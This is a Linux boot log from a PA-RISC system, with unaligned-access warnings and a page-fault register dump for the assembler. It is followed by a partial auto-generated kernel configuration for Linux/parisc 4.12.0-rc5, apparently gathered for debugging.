[   16.731599] sd 0:0:1:0: [sdb] Mode Sense: b3 00 10 08
[   16.739321] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
[   16.741649] sd 0:0:1:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   16.771123]  sdb: sdb1 sdb2 sdb3 sdb4
[   16.783183] sd 0:0:1:0: [sdb] Attached SCSI disk
[   16.793807]  sda: sda1 sda2 sda3 < sda5 sda6 >
[   16.806437] sd 0:0:0:0: [sda] Attached SCSI disk
[   16.808795] EXT4-fs (sdb3): mounting ext3 file system using the ext4 subsystem
[   16.826998] EXT4-fs (sdb3): mounted filesystem with ordered data mode. Opts: (null)
[   16.827220] VFS: Mounted root (ext3 filesystem) readonly on device 8:19.
[   16.843537] devtmpfs: mounted
[   16.844878] Freeing unused kernel memory: 1024K
[   17.007562] Write protecting the kernel read-only data: 551k
[   17.736513] kbd_mode (69) used greatest stack depth: 10424 bytes left
[   17.992124] loadkeys (70) used greatest stack depth: 7240 bytes left
[   17.999560] init-early.sh (68) used greatest stack depth: 6760 bytes left
[   31.340128] libata version 3.00 loaded.
[   31.443299] pps_core: LinuxPPS API ver. 1 registered
[   31.443306] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it>
[   31.473661] pata_cmd64x 0000:00:02.0: Secondary port is disabled
[   31.513422] scsi host2: pata_cmd64x
[   31.519032] scsi host3: pata_cmd64x
[   31.519185] ata1: PATA max UDMA/100 cmd 0xd18 ctl 0xd24 bmdma 0xd00 irq 20
[   31.519189] ata2: DUMMY
[   31.520305] pata_cmd64x: active 10 recovery 10 setup 3.
[   31.520320] pata_cmd64x: active 10 recovery 10 setup 3.
[   31.574976] PTP clock support registered
[   31.686312] ata1.00: ATAPI: DV-28E-C, C.4D, max UDMA/33
[   31.686338] pata_cmd64x: active 3 recovery 1 setup 1.
[   31.702557] ata1.00: configured for UDMA/33
[   31.751365] scsi 2:0:0:0: CD-ROM            TEAC     DV-28E-C         C.4D PQ: 0 ANSI: 5
[   32.097689] tg3.c:v3.137 (May 11, 2014)
[   32.552368] rtc rtc0: __rtc_set_alarm: err=-22
[   33.453004] tg3 0000:20:02.0 eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:13:21:d6:30:d0
[   33.453014] tg3 0000:20:02.0 eth0: attached PHY is 5701 (10/100/1000Base-T Ethernet) (WireSpeed[1], EEE[0])
[   33.453021] tg3 0000:20:02.0 eth0: RXcsums[1] LinkChgREG[0] MIirq[0] ASF[0] TSOcap[0]
[   33.453028] tg3 0000:20:02.0 eth0: dma_rwctrl[76ff2d0f] dma_mask[32-bit]
[   34.521108] EXT4-fs (sdb3): re-mounted. Opts: (null)
[   36.180140] Adding 3091452k swap on /dev/sdb4.  Priority:-1 extents:1 across:3091452k 
[   36.869053] EXT4-fs (sdb2): mounting ext2 file system using the ext4 subsystem
[   36.881407] EXT4-fs (sdb2): mounted filesystem without journal. Opts: (null)
[   49.120047] random: crng init done
[   56.549994] tg3 0000:20:02.0 eth0: Link is up at 100 Mbps, full duplex
[   56.550003] tg3 0000:20:02.0 eth0: Flow control is off for TX and off for RX
[   69.936992] NET: Registered protocol family 10
[   69.952417] Segment Routing with IPv6
[ 1455.198271] try(12334): unaligned access to 0x00000000f9205589 at ip=0x0000000000010753
[ 1455.198285] try(12334): unaligned access to 0x00000000f9205589 at ip=0x0000000000010757
[ 1455.198292] try(12334): unaligned access to 0x00000000f920558a at ip=0x0000000000010753
[ 1455.198298] try(12334): unaligned access to 0x00000000f920558a at ip=0x0000000000010757
[ 1455.198304] try(12334): unaligned access to 0x00000000f920558b at ip=0x0000000000010753

[53244.910489] do_page_fault() command='as' type=15 address=0x000c1078 in libbfd-2.26.1.so[f850b000+b9000]
               trap #15: Data TLB miss fault, vm_start = 0x00065000, vm_end = 0x0006e000
[53244.910517] CPU: 0 PID: 1275 Comm: as Not tainted 4.12.0-rc5-00187-gab2789b #17
[53244.910522] task: 000000006a494280 task.stack: 00000040a00e4000

[53244.910527]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[53244.910531] PSW: 00000000000001101111110100001111 Not tainted
[53244.910537] r00-03  000000ff0006fd0f 00000000f85cf5f4 00000000f852fe4f 00000000007ef178
[53244.910542] r04-07  00000000f85ce5f4 0000000000053000 00000000007ef078 00000000fac3690c
[53244.910547] r08-11  00000000fac36808 00000000000651e4 00000000fac367d8 000000000006d450
[53244.910553] r12-15  00000000fac367dc 000000000006da44 0000000000055800 00000000007ef350
[53244.910558] r16-19  000000000006d438 0000000000000002 000000000006d424 00000000f85ce5f4
[53244.910563] r20-23  0000000000000000 00000000f85ce5f4 00000000f85c7850 00000000000001b6
[53244.910569] r24-27  0000000000000000 0000000000000000 000000000000001b 0000000000063ebc
[53244.910574] r28-31  00000000000c106c 0000000000000000 00000000fac36a00 0000000000000998
[53244.910579] sr00-03  0000000000012000 0000000000000000 0000000000000000 0000000000012000
[53244.910585] sr04-07  0000000000012000 0000000000012000 0000000000012000 0000000000012000

[53244.910590]       VZOUICununcqcqcqcqcqcrmunTDVZOUI
[53244.910593] FPSR: 00000000000000000000000000000000
[53244.910595] FPER1: 00000000
[53244.910601] fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[53244.910606] fr04-07  00000000a12e1c5b 41d65162346b533c 0000000000000000 3ff00430b178b370
[53244.910612] fr08-11  0000000000000000 bc361578001e0162 0000000000000000 0000000000000000
[53244.910617] fr12-15  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[53244.910622] fr16-19  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[53244.910627] fr20-23  0000000000000000 0000000000000000 0000000000000088 0000003700000000
[53244.910633] fr24-27  0000000000000000 0000000000000000 3ec29e349cbe78d0 0000000000000000
[53244.910638] fr28-31  3fe00000000004dc 0000000000000000 bd2ef00000000000 3ff810b375dce72e

[53244.910645] IASQ: 0000000000012000 0000000000012000 IAOQ: 00000000f852fdeb 00000000f852fdef
[53244.910649]  IIR: 0f981094    ISR: 0000000000012000  IOR: 00000000000c1078
[53244.910653]  CPU:        0   CR30: 00000040a00e4000 CR31: fffffff0f0e05ee0
[53244.910656]  ORIG_R28: 0000000000000000
[53244.910659]  IAOQ[0]: 00000000f852fdeb
[53244.910662]  IAOQ[1]: 00000000f852fdef
[53244.910665]  RP(r2): 00000000f852fe4f


#
# Automatically generated file; DO NOT EDIT.
# Linux/parisc 4.12.0-rc5 Kernel Configuration
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_PGTABLE_LEVELS=3
CONFIG_SYS_SUPPORTS_HUGETLBFS=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_IRQ_WORK=y
CONFIG_BUILDTIME_EXTABLE_SORT=y

#
# General setup
#
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE="hppa64-linux-"
# CONFIG_COMPILE_TEST is not set
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_DEFAULT_HOSTNAME="none"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
# CONFIG_CROSS_MEMORY_ATTACH is not set
CONFIG_FHANDLE=y
# CONFIG_USELIB is not set
# CONFIG_AUDIT is not set
CONFIG_HAVE_ARCH_AUDITSYSCALL=y

#
# IRQ subsystem
#
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_GENERIC_MSI_IRQ=y
CONFIG_GENERIC_CLOCKEVENTS=y

#
# Timers subsystem
#
CONFIG_TICK_ONESHOT=y
CONFIG_NO_HZ_COMMON=y
# CONFIG_HZ_PERIODIC is not set
CONFIG_NO_HZ_IDLE=y
# CONFIG_NO_HZ is not set
CONFIG_HIGH_RES_TIMERS=y

#
# CPU/Task time and stats accounting
#
CONFIG_TICK_CPU_ACCOUNTING=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set

#
# RCU Subsystem
#
CONFIG_TINY_RCU=y
# CONFIG_RCU_EXPERT is not set
CONFIG_SRCU=y
CONFIG_TINY_SRCU=y
# CONFIG_TASKS_RCU is not set
# CONFIG_RCU_STALL_COMMON is not set
CONFIG_RCU_NEED_SEGCBLIST=y
# CONFIG_TREE_RCU_TRACE is not set
# CONFIG_BUILD_BIN2C is not set
# CONFIG_IKCONFIG is not set
CONFIG_LOG_BUF_SHIFT=17
CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13
CONFIG_GENERIC_SCHED_CLOCK=y
CONFIG_CGROUPS=y
# CONFIG_MEMCG is not set
# CONFIG_BLK_CGROUP is not set
# CONFIG_CGROUP_SCHED is not set
# CONFIG_CGROUP_PIDS is not set
# CONFIG_CGROUP_RDMA is not set
# CONFIG_CGROUP_FREEZER is not set
# CONFIG_CGROUP_HUGETLB is not set
# CONFIG_CPUSETS is not set
# CONFIG_CGROUP_DEVICE is not set
# CONFIG_CGROUP_CPUACCT is not set
# CONFIG_CGROUP_BPF is not set
# CONFIG_CGROUP_DEBUG is not set
# CONFIG_SOCK_CGROUP_DATA is not set
# CONFIG_CHECKPOINT_RESTORE is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
# CONFIG_RELAY is not set
# CONFIG_BLK_DEV_INITRD is not set
CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
CONFIG_SYSCTL_EXCEPTION_TRACE=y
CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW=y
CONFIG_BPF=y
# CONFIG_EXPERT is not set
CONFIG_MULTIUSER=y
CONFIG_SGETMASK_SYSCALL=y
CONFIG_SYSFS_SYSCALL=y
# CONFIG_SYSCTL_SYSCALL is not set
CONFIG_POSIX_TIMERS=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_ABSOLUTE_PERCPU is not set
CONFIG_KALLSYMS_BASE_RELATIVE=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_BPF_SYSCALL=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_ADVISE_SYSCALLS=y
CONFIG_USERFAULTFD=y
CONFIG_PCI_QUIRKS=y
CONFIG_MEMBARRIER=y
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=y
# CONFIG_PC104 is not set

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLUB_DEBUG=y
# CONFIG_COMPAT_BRK is not set
# CONFIG_SLAB is not set
CONFIG_SLUB=y
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SYSTEM_DATA_VERIFICATION is not set
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_HAVE_64BIT_ALIGNED_ACCESS=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_HAVE_ARCH_SECCOMP_FILTER=y
# CONFIG_CC_STACKPROTECTOR is not set
CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_ARCH_HAS_ELF_RANDOMIZE=y
CONFIG_HAVE_ARCH_HASH=y
# CONFIG_ISA_BUS_API is not set
CONFIG_CLONE_BACKWARDS=y
CONFIG_ARCH_NO_COHERENT_DMA_MMAP=y
CONFIG_CPU_NO_EFFICIENT_FFS=y
# CONFIG_HAVE_ARCH_VMAP_STACK is not set
# CONFIG_ARCH_OPTIONAL_KERNEL_RWX is not set
# CONFIG_ARCH_OPTIONAL_KERNEL_RWX_DEFAULT is not set
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
# CONFIG_ARCH_HAS_STRICT_MODULE_RWX is not set

#
# GCOV-based kernel profiling
#
# CONFIG_ARCH_HAS_GCOV_PROFILE_ALL is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
# CONFIG_MODULE_FORCE_UNLOAD is not set
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
# CONFIG_MODULE_SIG is not set
# CONFIG_MODULE_COMPRESS is not set
CONFIG_TRIM_UNUSED_KSYMS=y
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_BLOCK=y
CONFIG_BLK_SCSI_REQUEST=y
CONFIG_BLK_DEV_BSG=y
# CONFIG_BLK_DEV_BSGLIB is not set
# CONFIG_BLK_DEV_INTEGRITY is not set
# CONFIG_BLK_DEV_ZONED is not set
# CONFIG_BLK_CMDLINE_PARSER is not set
# CONFIG_BLK_WBT is not set
# CONFIG_BLK_SED_OPAL is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_BLOCK_COMPAT=y
CONFIG_BLK_MQ_PCI=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
# CONFIG_MQ_IOSCHED_DEADLINE is not set
# CONFIG_MQ_IOSCHED_KYBER is not set
# CONFIG_IOSCHED_BFQ is not set
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
CONFIG_INLINE_READ_UNLOCK=y
CONFIG_INLINE_READ_UNLOCK_IRQ=y
CONFIG_INLINE_WRITE_UNLOCK=y
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
# CONFIG_MLONGCALLS is not set
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
# CONFIG_SMP is not set
CONFIG_IRQSTACKS=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_PREEMPT_COUNT=y
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
CONFIG_SCHED_HRTICK=y
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
CONFIG_HAVE_MEMBLOCK=y
CONFIG_NO_BOOTMEM=y
# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set
CONFIG_SPLIT_PTLOCK_CPUS=4
# CONFIG_COMPACTION is not set
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_NEED_PER_CPU_KM=y
# CONFIG_CLEANCACHE is not set
# CONFIG_FRONTSWAP is not set
# CONFIG_CMA is not set
# CONFIG_ZPOOL is not set
# CONFIG_ZBUD is not set
# CONFIG_ZSMALLOC is not set
CONFIG_MAX_STACK_SIZE_MB=80
# CONFIG_IDLE_PAGE_TRACKING is not set
CONFIG_COMPAT=y
CONFIG_SYSVIPC_COMPAT=y
CONFIG_AUDIT_ARCH=y

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
# CONFIG_GSC is not set
CONFIG_PCI=y
# CONFIG_PCIEPORTBUS is not set
CONFIG_PCI_BUS_ADDR_T_64BIT=y
CONFIG_PCI_MSI=y
# CONFIG_PCI_MSI_IRQ_DOMAIN is not set
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
# CONFIG_PCI_PRI is not set
# CONFIG_PCI_PASID is not set
# CONFIG_HOTPLUG_PCI is not set

#
# DesignWare PCI Core Support
#

#
# PCI host controller drivers
#

#
# PCI Endpoint
#
# CONFIG_PCI_ENDPOINT is not set

#
# PCI switch controller drivers
#
# CONFIG_PCI_SW_SWITCHTEC is not set
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_ELFCORE=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
CONFIG_BINFMT_SCRIPT=y
# CONFIG_HAVE_AOUT is not set
# CONFIG_BINFMT_MISC is not set
CONFIG_COREDUMP=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
# CONFIG_PACKET_DIAG is not set
CONFIG_UNIX=y
# CONFIG_UNIX_DIAG is not set
CONFIG_XFRM=y
CONFIG_XFRM_ALGO=m
# CONFIG_XFRM_USER is not set
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_XFRM_IPCOMP=m
# CONFIG_NET_KEY is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE_DEMUX is not set
CONFIG_NET_IP_TUNNEL=m
CONFIG_IP_MROUTE=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
CONFIG_SYN_COOKIES=y
# CONFIG_NET_UDP_TUNNEL is not set
# CONFIG_NET_FOU is not set
# CONFIG_NET_FOU_IP_TUNNELS is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
CONFIG_INET_TUNNEL=m
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
# CONFIG_INET_DIAG is not set
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IPV6=m
CONFIG_IPV6_ROUTER_PREF=y
CONFIG_IPV6_ROUTE_INFO=y
CONFIG_IPV6_OPTIMISTIC_DAD=y
CONFIG_INET6_AH=m
CONFIG_INET6_ESP=m
# CONFIG_INET6_ESP_OFFLOAD is not set
CONFIG_INET6_IPCOMP=m
CONFIG_IPV6_MIP6=m
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
CONFIG_INET6_XFRM_MODE_TRANSPORT=m
CONFIG_INET6_XFRM_MODE_TUNNEL=m
CONFIG_INET6_XFRM_MODE_BEET=m
CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION=m
CONFIG_IPV6_VTI=m
CONFIG_IPV6_SIT=m
CONFIG_IPV6_SIT_6RD=y
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
# CONFIG_IPV6_FOU is not set
# CONFIG_IPV6_FOU_TUNNEL is not set
CONFIG_IPV6_MULTIPLE_TABLES=y
CONFIG_IPV6_SUBTREES=y
CONFIG_IPV6_MROUTE=y
CONFIG_IPV6_MROUTE_MULTIPLE_TABLES=y
CONFIG_IPV6_PIMSM_V2=y
# CONFIG_IPV6_SEG6_LWTUNNEL is not set
# CONFIG_IPV6_SEG6_HMAC is not set
# CONFIG_NETWORK_SECMARK is not set
CONFIG_NET_PTP_CLASSIFY=y
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
# CONFIG_NETFILTER is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_L2TP is not set
# CONFIG_BRIDGE is not set
CONFIG_HAVE_NET_DSA=y
# CONFIG_NET_DSA is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_PHONET is not set
# CONFIG_6LOWPAN is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set
# CONFIG_BATMAN_ADV is not set
# CONFIG_OPENVSWITCH is not set
# CONFIG_VSOCKETS is not set
CONFIG_NETLINK_DIAG=m
# CONFIG_MPLS is not set
# CONFIG_HSR is not set
# CONFIG_NET_SWITCHDEV is not set
# CONFIG_NET_L3_MASTER_DEV is not set
# CONFIG_NET_NCSI is not set
# CONFIG_CGROUP_NET_PRIO is not set
# CONFIG_CGROUP_NET_CLASSID is not set
CONFIG_NET_RX_BUSY_POLL=y
CONFIG_BQL=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_AF_KCM is not set
# CONFIG_STREAM_PARSER is not set
CONFIG_FIB_RULES=y
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set
# CONFIG_CEPH_LIB is not set
# CONFIG_NFC is not set
# CONFIG_PSAMPLE is not set
# CONFIG_NET_IFE is not set
CONFIG_LWTUNNEL=y
# CONFIG_LWTUNNEL_BPF is not set
CONFIG_DST_CACHE=y
CONFIG_GRO_CELLS=y
# CONFIG_NET_DEVLINK is not set
CONFIG_MAY_USE_DEVLINK=y

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER=y
CONFIG_UEVENT_HELPER_PATH=""
CONFIG_DEVTMPFS=y
CONFIG_DEVTMPFS_MOUNT=y
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_FW_LOADER_USER_HELPER_FALLBACK is not set
CONFIG_ALLOW_DEV_COREDUMP=y
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_DEBUG_TEST_DRIVER_REMOVE is not set
# CONFIG_TEST_ASYNC_DRIVER_PROBE is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_GENERIC_CPU_DEVICES is not set
# CONFIG_DMA_SHARED_BUFFER is not set

#
# Bus devices
#
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_OF is not set
CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y
# CONFIG_PARPORT is not set
# CONFIG_BLK_DEV is not set
# CONFIG_BLK_DEV_NVME is not set
# CONFIG_NVME_FC is not set

#
# Misc devices
#
# CONFIG_SENSORS_LIS3LV02D is not set
# CONFIG_DUMMY_IRQ is not set
# CONFIG_PHANTOM is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ENCLOSURE_SERVICES is not set
CONFIG_HP_ILO=m
# CONFIG_SRAM is not set
# CONFIG_PCI_ENDPOINT_TEST is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
CONFIG_EEPROM_93CX6=m
# CONFIG_CB710_CORE is not set

#
# Texas Instruments shared transport line discipline
#

#
# Altera FPGA firmware download module
#

#
# Intel MIC Bus Driver
#

#
# SCIF Bus Driver
#

#
# VOP Bus Driver
#

#
# Intel MIC Host Driver
#

#
# Intel MIC Card Driver
#

#
# SCIF Driver
#

#
# Intel MIC Coprocessor State Management (COSM) Drivers
#

#
# VOP Driver
#
# CONFIG_GENWQE is not set
# CONFIG_ECHO is not set
# CONFIG_CXL_BASE is not set
# CONFIG_CXL_AFU_DRIVER_OPS is not set
CONFIG_HAVE_IDE=y
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_NETLINK is not set
CONFIG_SCSI_MQ_DEFAULT=y
# CONFIG_SCSI_PROC_FS is not set

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
# CONFIG_BLK_DEV_SR is not set
# CONFIG_CHR_DEV_SG is not set
# CONFIG_CHR_DEV_SCH is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_HPSA is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_SCSI_ESAS2R is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT3SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_SMARTPQI is not set
# CONFIG_SCSI_UFSHCD is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_SNIC is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_IPR is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
